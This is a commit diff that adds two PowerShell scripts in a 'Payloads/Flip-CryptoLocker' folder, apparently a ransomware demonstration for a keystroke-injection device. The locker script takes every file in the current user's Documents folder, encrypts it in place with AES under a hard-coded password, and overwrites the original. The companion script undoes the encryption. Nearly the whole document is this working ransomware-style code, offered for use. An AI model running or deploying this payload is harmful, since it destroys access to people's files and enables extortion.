Add files via upload

Payloads/Flip-CryptoLocker/Flip-CryptoLocker.ps1

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+# Flip-CryptoLocker.ps1
+
+function Encrypt-File {
+    param (
+        [Parameter(Mandatory=$true)]
+        [string]$Path,
+        
+        [Parameter(Mandatory=$true)]
+        [string]$Password
+    )
+    
+    $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
+    $AES.IV = New-Object byte[]($AES.IV.Length)
+    $AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight($AES.Key.Length, '0'))
+
+    $Content = Get-Content -Path $Path -Encoding Byte
+    $EncryptedContent = $AES.CreateEncryptor().TransformFinalBlock($Content, 0, $Content.Length)
+
+    Set-Content -Path $Path -Value $EncryptedContent -Encoding Byte
+}
+
+# Fixed password for encryption (this is only for demonstration purposes, in a real scenario, you would want to generate or receive a password securely)
+$Password = "D3m0P@ssw0rd"
+
+# Detect the user's documents folder
+$DocumentsFolder = [Environment]::GetFolderPath("MyDocuments")
+
+# Get all the files in the documents folder
+$Files = Get-ChildItem -Path $DocumentsFolder -File
+
+# Encrypt each file
+foreach ($File in $Files) {
+    Encrypt-File -Path $File.FullName -Password $Password
+    Write-Host "File encrypted: $($File.Name)"
+}
+
+Write-Host "All files in the documents folder have been encrypted!"

Payloads/Flip-CryptoLocker/Flip-CryptoUnlocker.ps1

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+# Flip-CryptoUnlocker.ps1
+
+function Decrypt-File {
+    param (
+        [Parameter(Mandatory=$true)]
+        [string]$Path,
+        
+        [Parameter(Mandatory=$true)]
+        [string]$Password
+    )
+    
+    $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
+    $AES.IV = New-Object byte[]($AES.IV.Length)
+    $AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Password.PadRight($AES.Key.Length, '0'))
+
+    $EncryptedContent = Get-Content -Path $Path -Encoding Byte
+    $DecryptedContent = $AES.CreateDecryptor().TransformFinalBlock($EncryptedContent, 0, $EncryptedContent.Length)
+
+    Set-Content -Path $Path -Value $DecryptedContent -Encoding Byte
+}
+
+# Fixed password for decryption (it should be the same one used for encryption)
+$Password = "D3m0P@ssw0rd"
+
+# Detect the user's documents folder
+$DocumentsFolder = [Environment]::GetFolderPath("MyDocuments")
+
+# Get all the files in the documents folder
+$Files = Get-ChildItem -Path $DocumentsFolder -File
+
+# Decrypt each file
+foreach ($File in $Files) {
+    Decrypt-File -Path $File.FullName -Password $Password
+    Write-Host "File decrypted: $($File.Name)"
+}
+
+Write-Host "All files in the documents folder have been decrypted!"